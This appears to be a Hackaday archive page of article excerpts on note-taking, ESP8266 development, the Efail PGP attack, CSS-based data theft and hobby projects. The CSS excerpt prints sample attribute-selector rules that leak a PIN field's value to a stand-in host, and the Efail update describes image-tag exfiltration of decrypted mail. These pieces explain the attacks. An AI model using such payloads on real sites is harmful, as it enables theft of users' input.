html

23 Articles

It Ain’t Over ‘Til The Paperwork Is Done: Test Driving TiddlyWiki

February 14, 2020 by 25 Comments

Working on projects is fun. Documenting them is often not so much. However, if you want anyone to duplicate your work — or even just want to remember what you were doing a few years ago when something needs upgrading or repairing.

There’s a ton of ways to keep track of the details of your projects. We love seeing how things come together and of course we’re happy to suggest documenting on Hackaday.io. But sometimes, you just want to keep your own notes to yourself. There’s always a notebook, of course, but that seems kind of old fashioned. A lot of projects are on Wikis but you hate to stand up a web server and a Wiki instance just to keep notes. But what if you could have a local Wiki with minimal setup?

I recently came across TiddlyWiki and decided to take it for a spin. Join me after to break to see what it’s all about.

Continue reading “It Ain’t Over ‘Til The Paperwork Is Done: Test Driving TiddlyWiki” →

Four Years Of Learning ESP8266 Development Went Into This Guide

July 30, 2019 by 20 Comments

The ESP8266 is a great processor for a lot of projects needing a small microcontroller and Wi-Fi, all for a reasonable price and in some pretty small form factors. [Simon] used one to build a garage door opener. This project isn’t really about his garage door opener based on a cheap WiFi-enabled chip, though. It’s about the four year process he went through to learn how to develop on these chips, and luckily he wrote a guide that anyone can use so that we don’t make the same mistakes he did.

The guide starts by suggesting which specific products are the easiest to use, and then moves on to some “best practices” for using these devices (with which we can’t argue much), before going through some example code. The most valuable parts of this guide especially for anyone starting out with these chips are the section which details how to get the web server up and running, and the best practices for developing HTML code for the tiny device (hint: develop somewhere else).

[Simon] also makes extensive use of the Chrome developers tools when building the HTML for the ESP. This is a handy trick even outside of ESP8266 development which might be useful for other tasks as well. Even though most of the guide won’t be new to anyone with experience with these boards, there are a few gems within it like this one that might help in other unrelated projects. It’s a good read and goes into a lot of detail about more than just the ESP chips. If you just want to open your garage door, though, you have lots of options.

Explaining Efail And Why It Isn’t The End Of Email Privacy

May 21, 2018 by 25 Comments

Last week the PGPocalipse was all over the news… Except that, well, it wasn’t an apocalypse.

A team of researchers published a paper(PDF) where they describe how to decrypt a PGP encrypted email via a targeted attack. The research itself is pretty well documented and, from a security researcher perspective, it’s a good paper to read, especially the cryptography parts.

But we here at Hackaday were skeptical about media claims that Efail had broken PGP. Some media reports went as far as recommending everyone turn off PGP encryption on all email clients., but they weren’t able to back this recommendation up with firm reasoning. In fact, Efail isn’t an immediate threat for the vast majority of people simply because an attacker must already have access to an encrypted email to use the exploit. Advising everyone to disable encryption all together just makes no sense.

Aside from the massive false alarm, Efail is a very interesting exploit to wrap your head around. Join me after the break as I walk through how it works, and what you can do to avoid it.

Continue reading “Explaining Efail And Why It Isn’t The End Of Email Privacy” →

PGP Vulnerability Pre-announced By Security Researcher

May 14, 2018 by 30 Comments

From the gaping maw of the infosec Twitterverse comes horrifying news. PGP is broken. How? We don’t know. When will there be any information on this vulnerability? Tomorrow. It’s the most important infosec story of the week, and it’s only Monday. Of course, this vulnerability already has a name. Everyone else is calling it eFail, but I’m calling it Fear, Uncertainty, and Doubt.

Update: eFail site and paper now available. This was released ahead of Tuesday’s planned announcement when the news broke ahead of a press embargo.

Update 2: The report mentions two attacks. The Direct Exfiltration attack wraps the body of a PGP-encrypted email around an image tag. If a mail client automatically decrypts this email, the result will be a request to a URL containing the plaintext of the encrypted email. The second attack only works one-third of the time. Mitigation strategies are to not decrypt email in a client, disable HTML rendering, and in time, update the OpenPGP and S/MIME standards. This is not the end of PGP, it’s a vulnerability warranting attention from those with a very specific use case.

Update 3: Hackaday has published an in-depth explanation of how eFail works which details the scope of the vulnerability.

[Sebastian Schinzel] announced on Twitter today he will be announcing a critical vulnerability in PGP/GPG and S/MIME email encryption. This vulnerability may reveal the plaintext of encrypted emails. There are currently no fixes — but there’s no proof of concept, or any actual publication of this exploit either. The only thing that’s certain: somebody on Twitter said encrypted email is broken.

The EFF has chimed in on this exploit and advises everyone to immediately disable and uninstall tools that automatically decrypt PGP-encrypted email. It also looks like the EFF came up with a great little logo for eFail as well so kudos on that.

While there are no details whatsoever concerning eFail aside from a recommendation to not use PGP, a few members of the community have seen a pre-press of the eFail paper. [Werner Koch] of GnuPG says eFail is simply using HTML as a back channel. If this is true, PGP is still safe; you just shouldn’t use HTML emails. If you really need to read HTML emails, use a proper MIME parser and disallow access to external links. It should be noted that HTML in email is already an attack vector and has been for decades. You don’t need to bring PGP into this.

Should you worry about a vulnerability in PGP and email encryption? Literally no one knows. European security researchers are working on a publication release right now, but other experts in the field who have seen the paper think it’s not a big deal. There is no consensus from experts in the field, and there is no paper available right now. That last point will change in a few hours, but for now eFail just stands for Fear, Uncertainty, and Doubt.

CSS Steals Your Web Data

February 25, 2018 by 26 Comments

Earlier this year, we posted a link to an interactive Web page. Most people seemed to like it, but we got at least one comment about how they would never be so incautious as to allow JavaScript to run on their computers. You can argue the relative merit of that statement, but it did remind us that just disabling JavaScript is no panacea when it comes to Internet security. You might wonder how you could steal data without scripting, assuming you don’t directly control the server or browser, of course. The answer is by using a cascading style sheet (CSS). [Live Overflow] explains the exploit in the video below, covering an older paper and a recent rediscovery of the technique.

The technique hinges on you getting a CSS into the web page. Maybe you’ve partially compromised the server or maybe you wrote a malicious browser extension. The method works because you can make a style conditional on an attribute of an element. That means you can ask CSS to do some special formatting on a text field with a certain value. If that formatting is to load some background image from a server you control then you can tell if the field has a particular value.

We didn’t say it was easy. Suppose you want to capture a four-digit PIN number. You will need about 10,000 lines of format. For example:

input[type="pin"][value$="0000"] { background-color: url(http://notahackaday.com/0000.png }
input[type="pin"][value$="0001"] { background-color: url(http://notahackaday.com/0001.png }
...
input[type="pin"][value$="9999"] { background-color: url(http://notahackaday.com/9999.png }

Continue reading “CSS Steals Your Web Data” →

Stalk Your Cats With A Browser-Controlled Robot

July 6, 2017 by 9 Comments

A good robot is always welcome around here at Hackaday, and Hackaday.io user [igorfonseca83]’browser-controlled ‘bot s is no exception. Felines beware.

[igorfonseca83] — building on another project he’s involved in — used simple materials for the robot itself, but you could use just about anything. His goal for this build was to maximize accessibility in terms of components and construction using common tools.

An Arduino Uno gets two D/C motors a-driving using an H-bridge circuit — granting independent control the wheels — an ESP8266 enabling WiFi access, with power provided by a simple 5V USB power bank. [igorfonseca83] is using an Android smartphone to transmit audio and video data; though this was mostly for convenience on his part, a Raspberry Pi and camera module combo as another great option!

Continue reading “Stalk Your Cats With A Browser-Controlled Robot” →

Javascript Art Is In The URL

May 13, 2017 by 9 Comments

[Alexander Reben] makes tech art, and now he’s encouraging you to do the same — within a URL. The gimmick? Making the code small enough to fit the data portion of a link. And to help with that, he has set up a webpage that uncompresses and wraps code from the URL and inserts it into the HTML on the fly. His site essentially applies or un-applies all the tricks of JS minification in the URL, and turns that into content.

So, for instance,https://4QR.xyz/c/?eJzzSM3JyVcIzy_KSVEEABxJBD4 uncompresses to a webpage that says “Hello World!”. But the fun really starts when you start coding up “art” in Javascript or HTML5. There are a few examples up in the gallery right now, but [Alexander] wants you to contribute your own. The banner is from this link.

Something strikes us as fishy about passing JS code opaquely in links, but since the URL decodes on [Alexander]’s server, we don’t see the XSS attack just yet. If you can find the security problem with this setup, or better yet if you write up a nice animation, let us know in the comments.